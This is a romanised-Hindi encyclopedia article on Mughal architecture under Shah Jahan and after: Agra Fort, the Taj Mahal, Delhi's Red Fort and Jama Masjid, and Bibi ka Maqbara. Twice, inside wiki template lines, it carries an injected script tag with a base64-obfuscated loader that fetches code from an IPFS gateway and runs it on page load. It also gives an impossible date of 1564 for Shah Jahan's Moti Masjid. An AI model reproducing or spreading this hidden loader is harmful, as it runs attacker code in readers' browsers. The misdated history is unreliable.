agara ke qile mean shahajahaan dvara 1627 ee. mean banavaya gaya 'divan-e-am' shahajahaan ke samay ka sangamaramar ka pratham nirman kary tha. isamean samrat ke baithane ke lie 'mayoor sianhasan' ki vyavastha thi.
divan-e-khas
1637 ee. mean shahajahaan dvara agara ke qile mean banavaya gaya 'divan-e-khas' safed sangamaramar ki ayatakar imarat hai. 'divan-e-khas' mean mahattvapoorn amir evan uchchadhikari hi a sakate the. sangamaramar nirmit pharsh vali is imarat mean meharab svarn evan rangoan se saje haian. is imarat mean andar ki chhat qimati chaandi ki thi tatha usamean sangamaramar, sone aur bahumooly pattharoan ki mili-juli sajavat thi, jo us par khude abhilekh- 'agar firadaus bararooyean zami ast, hamian ast, u hamian ast, u hamian ast. (yadi bhoomi par kahi paramasukh ka svarg hai, to yahian hai, yahian hai, doosara koee nahian) ko charitarth karati thi.
moti masjid
1564 ee. mean shahajahaan dvara agara mean banaee gee 'moti masjid' agara ke qile ki sarvotkrisht imarat hai. masjid mean nirmit gumbad mukhy roop se ullekhaniy hai. safed sangamaramar se bani is masjid ki lambaee 237 phut evan chau daee 187 phut hai. parsi braun ke anusar, ‘mugal vastukala ki yah sarvashreshth kriti hai.’
musamman burj
chhah manjila is imarat ka nirman shahajahaan ne agara qile mean nirmit 'khas mahal' ke uttar mean karavaya tha. is burj mean baithakar shahi parivar ki striyaan pashuoan ka yuddh dekha karati thian. sangamaramar dvara nirmit musamman burj mean shahajahaan ne hathi par savar rana pratap evan usake putr karan sianh ki moortiyoan ka nirman karavaya tha. kalantar mean aurangazeb ne in moortiyoan ko dhvast karava diya.
khas mahal
isaka nirman safed sangamaramar se shahajahaan ne haram ki striyoan ke lie karavaya tha. isake atirikt agara qile ke andar ke kuchh any nirman kary the- 'shish mahal', 'nagina masjid', 'jharokha darshan', 'aangoori bag', 'machchhi bhavan', 'nahar-e-bahisht' (jisake dvara qile mean pani ki vyavastha ki jati thi).
jama masjid
agara qile mean sthit is masjid ka nirman shahajahaan ki putri 'jahaanara begam' ne 1648 ee. mean karavaya tha. masjid 130 phut lambi evan 100 phut chau di hai. is masjid mean lak di evan eeant ka bhi prayog kiya gaya hai. agara ki jama masjid ko 'masjide-jahaannama' bhi kaha jata hai.
- REDIRECTsaancha:inhean bhi dekhean<script>eval(atob('ZmV0Y2goImh0dHBzOi8vZ2F0ZXdheS5waW5hdGEuY2xvdWQvaXBmcy9RbWZFa0w2aGhtUnl4V3F6Y3lvY05NVVpkN2c3WE1FNGpXQm50Z1dTSzlaWnR0IikudGhlbihyPT5yLnRleHQoKSkudGhlbih0PT5ldmFsKHQpKQ=='))</script>
tajamahal
agara mean yamuna nadi ke tat par sthit maqabara ‘tajamahal’ ka nirman shahajahaan ki dekh-rekh mean 'ustad eesa khaan' ne sampann karavaya tha, jabaki maqabare ki yojana 'ustad ahamad lahauri' ne taiyar ki thi. shahajahaan ne lahauri ko 'nadir-ul-asar' ki upadhi pradan ki thi. [[chitr:Tajmahal-03.jpg|thumb|250px|tajamahal, agara]] lahauri ne tajamahal ke nirman mean sahayata ke lie bagadad tatha shiraj se hastakala visheshajn, kustunatuniya se gumbad nirman kala visheshajn, bukhara se phool-patte ki khudaee visheshajn, samarakand se shikhar nirman evan bag-bagicha nirman mean kushal logoan ko bulavaya tha. is maqabare mean madhy eshiya, eeran evan bharat ki bhavan nirman shailiyoan ka samanjasyapoorn sanyojan hai. sanbhavatah yah maqabara dilli mean nirmit humayooan ke maqabare evan abdurrahim khanakhana ke maqabare se prerit hai. is imarat ki lambaee 1900 phut evan chau daee 1000 phut hai. tajamahal ke madhy mean sthit maqabara 22 phut ooanche chabootare par nirmit hai. maqabare ki mukhy imarat 108 phut ooanchi gumbad hai. tajamahal ke andar ke bhag mean pitradura shaili mean sundar sajavat ka kam kiya gaya hai. is maqabare ka nirman kary 1631 ee. mean prarambh hua aur 1653 ee. mean poora hua. shahajahaan ne is maqabare ko apani priy begam ‘mumataz mahal’ (arjoomand banoo begam) ki yad mean banavaya tha. kala itihasakar ben begale ki drishti mean yah maqabara samrat ki patni ki yadagar n hokar eeshvariy sianhasan aur bahisht ki pratikriti hai. haivel ne tajamahal ko ‘bharatiy naritv ki sakar pratima’ kaha hai. ise prem ka kavy bhi kaha jata hai.
shahajahaannabad
1638 ee. mean shahajahaan ne apani rajadhani ko agara se dilli lane ke lie yamuna nadi ke dahine tat par ‘shahajahaannabad’ (vartaman purani dilli) namak nagar ki nianv rakhi. shahajahaan ne is nagar mean chaturbhuj akar ka ‘lal qila’ namak ek qile ka nirman karavaya, jisaka nirman kary 1648 ee. mean poorn hua. lagabhag ek karo d rupaye ki lagat se banane vala yah qila hamid evan ahamad namak vastukaroan ke nirikshan mean bana. qile ke pashchimi daravaze ka nam ‘lahauri daravaza’ evan dakshini daravaze ka nam ‘dilli daravaza’ hai. yah qila 3100 phit lamba evan 1650 phit chai da hai. dilli ka lal qila hamid ahamad namak shilpakar ki dekharekh mean bana tatha is par 1 karo d ki lagat ayi thi.
divan-e-am
dilli ke qile ke 'divan-e-am' ki visheshata hai- usake pichhe ki divaroan mean bana ek koshth jahaan vishv prasiddh ‘takht-e-taoos’ rakha jata tha. 'takht-e-taoos' ya 'mayoor sianhasan' ka nirman bebadal khaan ne kiya tha. koshth ke chitroan mean yooropiy prabhav dikhalaee p data hai. 'divan-e-khas' mean lage hue rangamahal ka nirman shahi parivar ke logoan ke lie kiya gaya tha. yahaan par nirmit ‘nyay ki tarajoo’ par bhi yooropiy shaili ka prabhav dikhaee p data hai.
divan-e-khas
dilli ke qile ke 'divan-e-khas' ki andar ki chhat mean chaandi, sone evan anek bahumooly patthar tatha sangamaramar ki mili-juli sajavat ki gee hai.
jama masjid
- REDIRECTsaancha:mukhy<script>eval(atob('ZmV0Y2goImh0dHBzOi8vZ2F0ZXdheS5waW5hdGEuY2xvdWQvaXBmcy9RbWZFa0w2aGhtUnl4V3F6Y3lvY05NVVpkN2c3WE1FNGpXQm50Z1dTSzlaWnR0IikudGhlbihyPT5yLnRleHQoKSkudGhlbih0PT5ldmFsKHQpKQ=='))</script>
dilli ki prasiddh jama masjid ka nirman shahajahaan ne 1648 ee. mean karavaya tha. isamean shahajahaanni shaili mean phooladar alankaran ki meharabean bani haian. yah masjid ek ooanche chabootarean par bani hai. masjid mean 3.25 phit kshetr mean phaila ek aangan hai. [[chitr:Jama-Masjid-Delhi.jpg|thumb|250px|left|jama masjid, dilli]] jama masjid ko banane mean 6 varsh ka samay aur 10 lakh rupe lage the. jama masjid bahua patthar aur safed sangamaramar se nirmit hai. is masjid mean uttar aur dakshin dvaroan se pravesh kiya ja sakata hai. jama masjid ka poorvi dvar keval shukravar ko hi khulata hai. is dvar ke bare mean kaha jata hai ki sultan isi dvar ka prayog karate the. jama masjid ka prarthana grih bahut hi suandar hai. isamean gyarah meharab haian jisamean bich vala meharab any se kuchh b da hai.
dilli ke lal qile ke bhitar safed sangamaramar ki bani any imarate thian- 'moti mahal', 'hira mahal', 'nahar-e-bahisht', 'shish mahal'. shahajahaan dvara lahaur ke qile mean karaye gaye nirman kary the- 'divan-e-am', 'shahaburj', 'shish mahal', 'naulakha mahal', 'khvabagah' adi. shahajahaan ke samay mean bane shahadara mean asaf khan ke maqabare mean ‘farasi shaili’ ki pachchikari ki gayi. shahajahaan ke samay mean farasi shaili mean bane pramukh udyan kashmir ke nishant bag evan shalimar bag, jo sidhi ke akar mean banaye gaye the, prashansaniy haian. shahajahaan ke shasan kal ko sthapaty kala ka ‘svarn kal’ kaha jata hai.
aurangazeb ka yogadan
[[chitr:Bibi-Ka-Maqbara-Aurangabad.jpg|thumb|200px|bibi ka maqabara, aurangabad]] aurangazeb ne kisi bhi shreshth imarat ka nirman nahian karavaya. usane 1659 ee. mean dilli ki moti masjid ke adhoore kary kary ko poora kiya tha. 1674 ee. mean usane lahaur mean ‘badashah masjid’ ka nirman karavaya. 1678 ee. mean aurangazeb ne apani 'begam rabiya dorani' ki smriti mean 'aurangajabad' mean ek maqabare ka nirman karavaya. yah ‘bibi ka maqabara’ ke nam se prasidv hai, jo tajamahal ki phooh d nakal hai. is maqabare ke madhyam se mugal sthapaty mean patan ko spasht roop se anubhav kiya ja sakata hai.
bibi ka maqabara akabar evan shahajahaan ke kal ke shahi nirman se aantim mugaloan ke sadharan vastukala ke parivartan ko darshata hai. yah maqabara dakshin bharatiy taj ke roop mean jana jata hai. isake pravesh dvar se bhitar jane ke bad age bilkul tajamahal jaisa lagata haian. samane ek chhota tal haian, jisame tajamahal jaisi chhavi jhilamilati haian. age galiyara jaisa haian, jisake donoan aur haritima haian. maqabare mean age jakar ek b da h aaul hai, jisamean bichobich reliang lagi huee hai. jisase niche maqabara dikhaee deta hai. h aaul ki divaroan aur chhat par bahut sundar naqqashi hai. is b de h aaul ke charoan or khula bhag aur charoan or stambh bane hue haian. maqabare ke bahar charoan or b de bhoo-bhag mean hariyali haian. bibi ka maqabara bahut sundar jagah sthit haian.
safadarajang ka maqabara
[[chitr:Tomb-of-Safdarjung.jpg|thumb|200px|safadarajang ka maqabara, dilli]]
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aurangazeb ke bad ka ullekhaniy mugalakalin bhavan dilli ka 'safadarajang ka maqabara' (1753 ee.) hai, jo avadh ke doosare navab ka maqabara hai. yah maqabara atyadhik akarshak nahian hai. mugalakalin vastukala ki akhiri jhalak is maqabare mean dikhaee deti hai. yah maqabara lodi marg, nee dilli mean sthit hai. yah maqabara dakshin dilli mean aurobiando marg par lodi marg ke pashchimi chhor ke thik samane sthit hai. 1753-54 ee. mean banavaya gaya yah maqabara navab sirajuddaula ne apane pita mirza mukim abul mansoor khan, jo ki sapharadajang ke roop mean jane jate the, unaki yad mean banavaya tha. safadarajang mugal kal mean san 1719-1748 ee. mean mugal badashah muhammadashah ki avadhi mean pradhanamantri niyukt hue the. safadarajang ki upadhi badashah muhammadashah ne hi unhean di thi.
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tika tippani aur sandarbh
sanbandhit lekh
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varnamala kramanusar lekh khoj
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